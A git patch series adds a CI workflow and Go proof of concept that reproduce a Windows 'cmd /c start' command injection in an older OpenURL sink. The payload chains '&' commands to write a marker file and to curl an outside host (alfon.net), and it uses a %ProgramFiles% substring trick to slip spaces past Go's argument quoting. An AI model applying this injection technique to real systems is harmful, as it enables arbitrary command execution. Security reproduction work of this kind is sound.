From 1a42e70cafd3dc74307fd9a9793977d3160b715a Mon Sep 17 00:00:00 2001 From: Alfonso Embid-Desmet Date: Fri, 18 Sep 2026 08:20:29 -0700 Subject: [PATCH 1/2] ci: reproduce unpatched Windows cmd start injection on GHA Runs the v0.1.2 OpenURL sink (cmd /c start) on windows-latest with a GET-only callback to alfon.net?g plus a local marker file. --- .github/workflows/windows-openurl-repro.yml | 30 ++++++++ scripts/repro_windows_openurl/main.go | 82 +++++++++++++++++++++ 2 files changed, 112 insertions(+) create mode 100644 .github/workflows/windows-openurl-repro.yml create mode 100644 scripts/repro_windows_openurl/main.go diff --git a/.github/workflows/windows-openurl-repro.yml b/.github/workflows/windows-openurl-repro.yml new file mode 100644 index 00000000..41a0937c --- /dev/null +++ b/.github/workflows/windows-openurl-repro.yml @@ -0,0 +1,30 @@ +name: windows-openurl-repro + +on: + pull_request: + paths: + - .github/workflows/windows-openurl-repro.yml + - scripts/repro_windows_openurl/** + workflow_dispatch: + +permissions: + contents: read + +jobs: + unpatched-cmd-start: + runs-on: windows-latest + steps: + - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4 + - uses: actions/setup-go@40f1582b2485089dde7abd97c1529aa768e1baff # v5 + with: + go-version-file: go.mod + cache: true + - name: Reproduce v0.1.2 cmd /c start injection + run: go run ./scripts/repro_windows_openurl + - name: Point at alfon.net query + if: always() + shell: bash + run: | + echo "Look for http://alfon.net?g${{ github.run_id }} in alfon.net / Cloudflare logs." + echo "run_id=${{ github.run_id }}" >> "$GITHUB_STEP_SUMMARY" + echo "lookup=http://alfon.net?g${{ github.run_id }}" >> "$GITHUB_STEP_SUMMARY" diff --git a/scripts/repro_windows_openurl/main.go b/scripts/repro_windows_openurl/main.go new file mode 100644 index 00000000..a93cc999 --- /dev/null +++ b/scripts/repro_windows_openurl/main.go @@ -0,0 +1,82 @@ +// Command repro_windows_openurl reproduces the v0.1.2 Windows OpenURL sink: +// exec.Command("cmd", "/c", "start", "", url) with a customer-ID-shaped +// payload. Current main uses ShellExecuteW instead; this binary talks to +// cmd.exe directly so the unpatched parser can be observed on a GHA runner. +// +// The payload writes a local marker and GETs http://alfon.net?g. +// It does not read files or send secrets. +package main + +import ( + "fmt" + "os" + "os/exec" + "path/filepath" + "runtime" + "time" +) + +func main() { + if runtime.GOOS != "windows" { + fmt.Fprintln(os.Stderr, "windows only") + os.Exit(2) + } + + runID := os.Getenv("GITHUB_RUN_ID") + if runID == "" { + runID = "local" + } + + cwd, err := os.Getwd() + if err != nil { + fmt.Fprintln(os.Stderr, err) + os.Exit(1) + } + marker := filepath.Join(cwd, "RCBB_CLI_EXECUTED.txt") + httpBody := filepath.Join(cwd, "RCBB_HTTP.txt") + _ = os.Remove(marker) + _ = os.Remove(httpBody) + + // No spaces, tabs, or quotes: Go's EscapeArg would otherwise quote the + // whole URL and cmd.exe would not treat & as a command separator. + url := "https://app.revenuecat.com/projects/x/customers/rcbb" + + `&echo>%CD%\RCBB_CLI_EXECUTED.txt` + + `&curl.exe,-s,-o,%CD%\RCBB_HTTP.txt,http://alfon.net?g` + runID + + fmt.Printf("run_id=%s\n", runID) + fmt.Printf("lookup=http://alfon.net?g%s\n", runID) + fmt.Printf("url=%s\n", url) + fmt.Printf("::notice::alfon.net query g%s\n", runID) + + cmd := exec.Command("cmd", "/c", "start", "", url) + cmd.Dir = cwd + cmd.Stdout = os.Stdout + cmd.Stderr = os.Stderr + if err := cmd.Run(); err != nil { + fmt.Fprintf(os.Stderr, "cmd.Run: %v\n", err) + } + + deadline := time.Now().Add(15 * time.Second) + for time.Now().Before(deadline) { + if _, err := os.Stat(marker); err == nil { + break + } + time.Sleep(200 * time.Millisecond) + } + + if _, err := os.Stat(marker); err != nil { + fmt.Fprintln(os.Stderr, "FAIL: marker not created; & split did not run") + os.Exit(1) + } + fmt.Println("PASS: local marker created (cmd.exe parsed &)") + + if b, err := os.ReadFile(httpBody); err != nil { + fmt.Fprintln(os.Stderr, "WARN: no HTTP body; check alfon.net or Cloudflare") + } else { + fmt.Printf("http_body_len=%d\n", len(b)) + if len(b) > 256 { + b = b[:256] + } + fmt.Printf("http_body_head=%q\n", b) + } +} From 818b0c8624b45d3a6a8c544c4b79f1082daf6995 Mon Sep 17 00:00:00 2001 From: Alfonso Embid-Desmet Date: Fri, 18 Sep 2026 08:25:51 -0700 Subject: [PATCH 2/2] ci: expand a space from ProgramFiles so injected curl gets real argv Commas did not split curl.exe arguments on windows-latest, so the GET never ran. Marker still proved the & split. --- scripts/repro_windows_openurl/main.go | 28 ++++++++++++++++----------- 1 file changed, 17 insertions(+), 11 deletions(-) diff --git a/scripts/repro_windows_openurl/main.go b/scripts/repro_windows_openurl/main.go index a93cc999..74bfeb35 100644 --- a/scripts/repro_windows_openurl/main.go +++ b/scripts/repro_windows_openurl/main.go @@ -37,11 +37,15 @@ func main() { _ = os.Remove(marker) _ = os.Remove(httpBody) - // No spaces, tabs, or quotes: Go's EscapeArg would otherwise quote the - // whole URL and cmd.exe would not treat & as a command separator. + // No literal spaces/tabs/quotes: Go's EscapeArg would quote the whole + // URL and cmd.exe would not treat & as a command separator. A comma is + // not a reliable argv splitter for external exes, so expand a space + // from %ProgramFiles% ("C:\Program Files", index 10). + sp := `%ProgramFiles:~10,1%` url := "https://app.revenuecat.com/projects/x/customers/rcbb" + `&echo>%CD%\RCBB_CLI_EXECUTED.txt` + - `&curl.exe,-s,-o,%CD%\RCBB_HTTP.txt,http://alfon.net?g` + runID + `&curl.exe` + sp + `-s` + sp + `-o` + sp + `%CD%\RCBB_HTTP.txt` + sp + + `http://alfon.net?g` + runID fmt.Printf("run_id=%s\n", runID) fmt.Printf("lookup=http://alfon.net?g%s\n", runID) @@ -70,13 +74,15 @@ func main() { } fmt.Println("PASS: local marker created (cmd.exe parsed &)") - if b, err := os.ReadFile(httpBody); err != nil { - fmt.Fprintln(os.Stderr, "WARN: no HTTP body; check alfon.net or Cloudflare") - } else { - fmt.Printf("http_body_len=%d\n", len(b)) - if len(b) > 256 { - b = b[:256] - } - fmt.Printf("http_body_head=%q\n", b) + b, err := os.ReadFile(httpBody) + if err != nil || len(b) == 0 { + fmt.Fprintln(os.Stderr, "FAIL: injected curl did not write HTTP body") + os.Exit(1) + } + fmt.Printf("http_body_len=%d\n", len(b)) + head := b + if len(head) > 256 { + head = head[:256] } + fmt.Printf("http_body_head=%q\n", head) }